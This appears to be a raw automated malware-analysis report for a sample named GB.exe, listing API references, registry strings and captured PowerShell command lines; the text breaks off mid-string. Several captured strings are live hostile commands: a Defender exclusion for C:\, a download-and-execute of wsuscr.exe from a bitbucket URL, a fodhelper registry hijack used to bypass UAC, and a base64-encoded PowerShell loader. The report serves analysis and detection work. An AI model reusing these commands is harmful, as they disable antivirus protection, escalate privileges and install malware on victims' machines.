"00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp")36:T833,Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "GB.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "GB.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "GB.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "GB.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "GB.exe") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00008124.00000000.69516.72702000.00000002.mdmp")37:T523,file/memory contains long string with (Indicator: "Invoke-Expression"; File: "00000000-00002648") Found string "$pwd = "Add-MpPreference -ExclusionPath C:\" $pwd | Invoke-Expression" (Indicator: "Invoke-Expression"; File: "00000000-00008124") file/memory contains long string with (Indicator: "Invoke-Expression"; File: "res.bat") file/memory contains long string with (Indicator: "Invoke-Expression"; File: "AMSI") Found string "nwget "https://bitbucket.org/olegovich-007/777/downloads/wsuscr.exe" -outfile "$env:APPDATA\wsuscr.exe"Invoke-Expression -Command "$env:APPDATA\wsuscr.exe"" (Indicator: "Invoke-Expression"; File: "AMSI") Found string "$pwd = "Add-MpPreference -ExclusionPath C:\"$pwd | Invoke-Expression" (Indicator: "Invoke-Expression"; File: "AMSI") file/memory contains long string with (Indicator: "Invoke-Expression"; File: "powershell.exe") file/memory contains long string with (Indicator: "Invoke-Expression"; Source: "00000000-00002648.00000000.67530.D0550000.00000004.mdmp") file/memory contains long string with (Indicator: "Invoke-Expression"; Source: "00000000-00002648.00000000.67530.D0550000.00000004.mdmp, 00000000-00002648.00000000.67530.D0720000.00000004.mdmp, 00000000-00002648.00000000.67530.D07D0000.00000004.mdmp, 00000000-00002648.00000000.67530.D1F80000.00000004.mdmp")38:Tf3a,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: GB.exe "System\CurrentControlSet\Control\Session Manager" in Source: GB.exe "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: GB.exe "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: GB.exe ""%WINDIR%\system32\reg.exe" add HKCU\Software\Classes\.omg\Shell\Open\command /d %TEMP%\persistent" in Source: 00000000-00002648-00000C41-20173361620 ""%WINDIR%\system32\reg.exe" add HKCU\Software\Classes\ms-settings\CurVer /d .omg /f" in Source: 00000000-00002648-00000C41-22567297493 ""%WINDIR%\system32\reg.exe" delete HKCU\Software\Classes\.omg\ /f" in Source: 00000000-00002648-00000C41-32240608668 ""%WINDIR%\system32\reg.exe" delete HKCU\Software\Classes\ms-settings\ /f" in Source: 00000000-00002648-00000C41-34698011868 "reg add HKCU\Software\Classes\.omg\Shell\Open\command /d 'C:\Users\ADMINI~1\AppData\Local\Temp\persistent2\test2.exe' /f ;reg add 'HKCU\Software\Classes\ms-settings\CurVer' /d '.omg' /f ; fodhelper.exe;Start-Sleep -s 3;reg delete 'HKCU\Software\Classes\.omg\' /f;reg delete 'HKCU\Software\Classes\ms-settings\' /f" in Source: AMSI "add HKCU\Software\Classes\.omg\Shell\Open\command /d %TEMP%\persistent2\test2.exe /f" in Source: reg.exe "add HKCU\Software\Classes\ms-settings\CurVer /d .omg /f" in Source: reg.exe "delete HKCU\Software\Classes\.omg\ /f" in Source: reg.exe "delete HKCU\Software\Classes\ms-settings\ /f" in Source: reg.exe "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00001640.00000001.69198.987B1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002648.00000000.67530.3964A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002648.00000000.67530.3964A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002648.00000000.67530.3964A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002648.00000000.67530.3964A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002648.00000000.67530.3964A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002648.00000000.67530.3964A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002648.00000000.67530.D0550000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002648.00000000.67530.D1F80000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008124.00000000.69516.20360000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00008124.00000000.69516.20360000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00008124.00000000.69516.3964A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00008124.00000000.69516.3964A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00008124.00000000.69516.3964A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00008124.00000000.69516.3964A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00008124.00000000.69516.3964A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00008124.00000000.69516.3964A000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008124.00000000.69516.3A260000.00000004.mdmp39:T17c1,Process "powershell.exe" with commandline "powershell -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBEAGUAYwBvAG0AcAByAGUAcwBzAGUAZABCAHkAdABlAEEAcgByAGEAeQAgAHsACgAKACAAIAAgACAAIAAgACAAIABbAEMAbQBkAGwAZQB0AEIAaQBuAGQAaQBuAGcAKAApAF0ACgAgACAAIAAgAFAAYQByAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQAsAFYAYQBsAHUAZQBGAHIAbwBtAFAAaQBwAGUAbABpAG4AZQAsAFYAYQBsAHUAZQBGAHIAbwBtAFAAaQBwAGUAbABpAG4AZQBCAHkAUAByAG8AcABlAHIAdAB5AE4AYQBtAGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJAAoAFQAaAByAG8AdwAoACIALQBiAHkAdABlAEEAcgByAGEAeQAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAAiACkAKQAKACAAIAAgACAAKQAKACAAIAAgACAAIAAgACAAIABQAHIAbwBjAGUAcwBzACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAFYAZQByAGIAbwBzAGUAIAAiAEcAZQB0AC0ARABlAGMAbwBtAHAAcgBlAHMAcwBlAGQAQgB5AHQAZQBBAHIAcgBhAHkAIgAKACAAIAAgACAAIAAgACAAIAAkAGkAbgBwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGcAegBpAHAAUwB0AHIAZQBhAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAaQBuAHAAdQB0ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHoAaQBwAFMAdAByAGUAYQBtAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApAAoAIAAgACAAIAAgACAAIAAgACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBuAHAAdQB0AC4AQwBsAG8AcwBlACgAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACAAJABiAHkAdABlAE8AdQB0AEEAcgByAGEAeQAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkACgAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAkAGIAeQB0AGUATwB1AHQAQQByAHIAYQB5AAoAIAAgACAAIAB9AAoAfQAKAAoAWwBiAHkAdABlAFsAXQBdACAAJABiAHkAdABlAF8AYQByAHIAYQB5ACAAPQAgADMAMQAsADEAMwA5ACwAOAAsADAALAAwACwAMAAsADAALAAwACwANAAsADAALAAxADQAOQAsADEANAA0ACwAMQA5ADMALAAxADEANAAsADEAMwAwACwANAA4ACwAMgAwACwANgA5ACwAMQAyADcALAA0ADEALAA5ADYALAAxADAAOQAsADEAOQA5ACwAMQAzADMALAAxADEALAA1ACwAMQA0ADYALAA5ACwAMwA1ACwAMQA3ADcALAAyACwAMQAyADUALAA5ACwAMQAxADEALAAxADAAMwAsADYANgAsADcALAAxADcAMQAsADEAMgA5ACwANAA2ACwANgA4ACwANwA3ACwAMgA0ADgALAAyADUAMAAsADcAMAAsADEAOAA2ACwAMgAzADkALAA3ADYALAAxADEAOQAsADEAMQAxACwAMQAxADMALAAyADMAMQAsADEANQA4ACwAMgA0ADMALAAxADcANAAsADIAMwAzACwAOQA3ACwAMgAyADQALAAxADQAMAAsADkANAAsADQAOAAsADIAMQA3ACwAMgA0ADIALAAxADMAOAAsADgALAA4ADAALAA4ADQALAAyADIAMAAsADEAMQAzACwANAAwACwAMgAzACwAMQA0ADEALAAyADAAMgAsADEANwAzACwAMgAwADIALAAxADkANgAsADEAOAAxACwAOAAxACwAOQA4ACwANgA2ACwAMwA3ACwAMgAwADQALAAxADcANAAsADkANQAsADEANAAxACwAMgA0ACwAMQA4ADUALAAyADUAMAAsADIAMAAwACwAMgAyADQALAAxADcAMAAsADEANgA5ACwAMQAyADMALAA1ADUALAAxADIALAAxADEAMAAsADEAMwA4ACwAMQAzADcALAAxADgANwAsADEANQAwACwAMgAwADkALAA3ADMALAAyADQANwAsADEAMwA1ACwAMQAxADAALAAyADMALAAzADEALAAxADgANgAsADEANQA2ACwAMgAwACwAMQA3ADUALAAxADMAOAAsADYANgAsADIAMAAwACwAMgAzADEALAAxADQANwAsADIAMAAyACwAMQAwADQALAA4ADYALAAxADIANwAsADIAMQA2ACwAMQAyADUALAAxADYANQAsADkANAAsADkAMgAsADEAOAA0ACwAMwAxACwAMwA4ACwANAAzACwANwA5ACwANAA1ACwAMQA2ADMALAAxADYANgAsADEAMAAyACwAMQA3ADEALAAxADEANQAsADMANQAsADEANQA3ACwAMQAsADYALAAxADYAMwAsADEANgAxACwAMgAzADgALAAyADQAMQAsADIAMAA0ACwAMwAwACwAMQA0ADkALAAzADIALAA0ADAALAAxADUAMQAsADEANgA0ACwAMQA3ADYALAAxADQAMgAsADQALAAyADIALAA0ADEALAAxADkAMAAsADEANQAwACwAMgA0ADYALAAxADQANwAsADEAMgA1ACwAMQAyACwANgAwACwAOAA5ACwAMgA0ADUALAA2ADAALAAyADkALAA2ADEALAA3ADQALAAyADEAMQAsADUAMwAsADEANwA4ACwAMQA4ADgALAAyADQAMAAsADEANgA0ACwAMgA1ADMALAAyADEAMQAsADgAMQAsADEANwAxACwAOQA4ACwANQAyACwANAA5ACwAMQA0ADQALAAxADUAMAAsADIAMQA3ACwAMgA3ACwANAA2ACwAMQAzADIALAA1ADcALAA0ADQALAAxADkAMgAsADYANwAsADEANQAsADYAMgAsADIANAA3ACwAMQA1ADUALAA1ADkALAAzADgALAAxADUANQAsADkANwAsADIANQA0ACwAMQA5ADMALAAxADUANQAsADIAMgA0ACwAMgAxADgALAAxADEANgAsADEAMgAzACwAMQA5ADEALAAyADMANwAsADEAMQA3ACwAOQAyACwAMQAyADYALAAxADYAMwAsADEAMgA0ACwANQA4ACwAMgA0ADAALAAyADcALAAxADcAMAAsADEANAA3ACwAMgAyADEALAA3ADEALAAxADMAMAAsADEAMwAyACwANwA4ACwAMQA3ADgALAAzACwAMQAxADMALAA2ADkALAA5ACwAMQA1ACwAMQA1ADgALAA2ADgALAAxADkALAA3ADkALAAxADMAOQAsADUANQAsADUAMQAsADEAMQAxACwAOAA0ACwAOQAwACwAMgAwADUALAAxADIAOAAsADkANgAsADEAOAAxACwAMgA1ACwAMQA3ADAALAAxADAAOAAsADcANgAsADEALAA5ADIALAAxADcAMwAsADkAOQAsADMANgAsADEAMAA5ACwANwA2ACwANgAxACwAMQAzADAALAA3ADUALAA1ADMALAAxADYAMwAsADgAMwAsADkANgAsADcAOQAsADQAMgAsADgAOQAsADEAMwA0ACwANwA3ACwAOQAwACwANQAxACwANQAxACwAMgAwADcALAAxADkAMQAsADIAMwA4ACwAMgA0ACwANQA0ACwANgA3ACwAOAA1ACwAMgAxADgALAAyADUANQAsADIANQAwACwAMgAwADcALAAyADkALAAyADIAMQAsADEAMgAyACwAMgA1ADMALAAzACwANAAsADEANwA4ACwAMgA1ADMALAAxADcANAAsADEANgA0ACwAMQAsADAALAAwAAoAJABkAGUAYwBvAG0AcAByAGUAcwBzAGUAZABCAHkAdABlAEEAcgByAGEAeQAgAD0AIABHAGUAdAAtAEQAZQBjAG8AbQBwAHIAZQBzAHMAZQBkAEIAeQB0AGUAQQByAHIAYQB5ACAALQBiAHkAdABlAEEAcgByAGEAeQAgACQAYgB5AHQAZQBfAGEAcgByAGEAeQAKAAoAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAgACQAZABlAGMAbwBtAHAAcgBlAHMAcwBlAGQAQgB5AHQAZQBBAHIAcgBhAHkAIAApACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApACkAKQAgAHwAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4ACgAKAAoAdwBnAGUAdAAgACIAaAB0AHQAcABzADoALwAvAGIAaQB0AGIAdQBjAGsAZQB0AC4AbwByAGcALwBvAGwAZQBnAG8AdgBpAGMAaAAtADAAMAA3AC8ANwA3ADcALwBkAG8AdwBuAGwAbwBhAGQAcwAvAHcAcwB1AHMAYwByAC4AZQB4AGUAIgAgAC0AbwB1AHQAZgBpAGwAZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAB3AHMAdQBzAGMAcgAuAGUAeABlACIACgBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAdwBzAHUAcwBjAHIALgBlAHgAZQAiAA==')) | Invoke-Expression"" (UID: 00000000-00002648)3a:T17c1,Process "powershell.exe" with commandline "powershell -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBEAGUAYwBvAG0AcAByAGUAcwBzAGUAZABCAHkAdABlAEEAcgByAGEAeQAgAHsACgAKACAAIAAgACAAIAAgACAAIABbAEMAbQBkAGwAZQB0AEIAaQBuAGQAaQBuAGcAKAApAF0ACgAgACAAIAAgAFAAYQByAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQAsAFYAYQBsAHUAZQBGAHIAbwBtAFAAaQBwAGUAbABpAG4AZQAsAFYAYQBsAHUAZQBGAHIAbwBtAFAAaQBwAGUAbABpAG4AZQBCAHkAUAByAG8AcABlAHIAdAB5AE4AYQBtAGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJAAoAFQAaAByAG8AdwAoACIALQBiAHkAdABlAEEAcgByAGEAeQAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAAiACkAKQAKACAAIAAgACAAKQAKACAAIAAgACAAIAAgACAAIABQAHIAbwBjAGUAcwBzACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAFYAZQByAGIAbwBzAGUAIAAiAEcAZQB0AC0ARABlAGMAbwBtAHAAcgBlAHMAcwBlAGQAQgB5AHQAZQBBAHIAcgBhAHkAIgAKACAAIAAgACAAIAAgACAAIAAkAGkAbgBwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGcAegBpAHAAUwB0AHIAZQBhAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAaQBuAHAAdQB0ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHoAaQBwAFMAdAByAGUAYQBtAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApAAoAIAAgACAAIAAgACAAIAAgACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBuAHAAdQB0AC4AQwBsAG8AcwBlACgAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACAAJABiAHkAdABlAE8AdQB0AEEAcgByAGEAeQAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkACgAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAkAGIAeQB0AGUATwB1AHQAQQByAHIAYQB5AAoAIAAgACAAIAB9AAoAfQAKAAoAWwBiAHkAdABlAFsAXQBdACAAJABiAHkAdABlAF8AYQByAHIAYQB5ACAAPQAgADMAMQAsADEAMwA5ACwAOAAsADAALAAwACwAMAAsADAALAAwACwANAAsADAALAAxADQAOQAsADEANAA0ACwAMQA5ADMALAAxADEANAAsADEAMwAwACwANAA4ACwAMgAwACwANgA5ACwAMQAyADcALAA0ADEALAA5ADYALAAxADAAOQAsADEAOQA5ACwAMQAzADMALAAxADEALAA1ACwAMQA0ADYALAA5ACwAMwA1ACwAMQA3ADcALAAyACwAMQAyADUALAA5ACwAMQAxADEALAAxADAAMwAsADYANgAsADcALAAxADcAMQAsADEAMgA5ACwANAA2ACwANgA4ACwANwA3ACwAMgA0ADgALAAyADUAMAAsADcAMAAsADEAOAA2ACwAMgAzADkALAA3ADYALAAxADEAOQAsADEAMQAxACwAMQAxADMALAAyADMAMQAsADEANQA4ACwAMgA0ADMALAAxADcANAAsADIAMwAzACwAOQA3ACwAMgAyADQALAAxADQAMAAsADkANAAsADQAOAAsADIAMQA3ACwAMgA0ADIALAAxADMAOAAsADgALAA4ADAALAA4ADQALAAyADIAMAAsADEAMQAzACwANAAwACwAMgAzACwAMQA0ADEALAAyADAAMgAsADEANwAzACwAMgAwADIALAAxADkANgAsADEAOAAxACwAOAAxACwAOQA4ACwANgA2ACwAMwA3ACwAMgAwADQALAAxADcANAAsADkANQAsADEANAAxACwAMgA0ACwAMQA4ADUALAAyADUAMAAsADIAMAAwACwAMgAyADQALAAxADcAMAAsADEANgA5ACwAMQAyADMALAA1ADUALAAxADIALAAxADEAMAAsADEAMwA4ACwAMQAzADcALAAxADgANwAsADEANQAwACwAMgAwADkALAA3ADMALAAyADQANwAsADEAMwA1ACwAMQAxADAALAAyADMALAAzADEALAAxADgANgAsADEANQ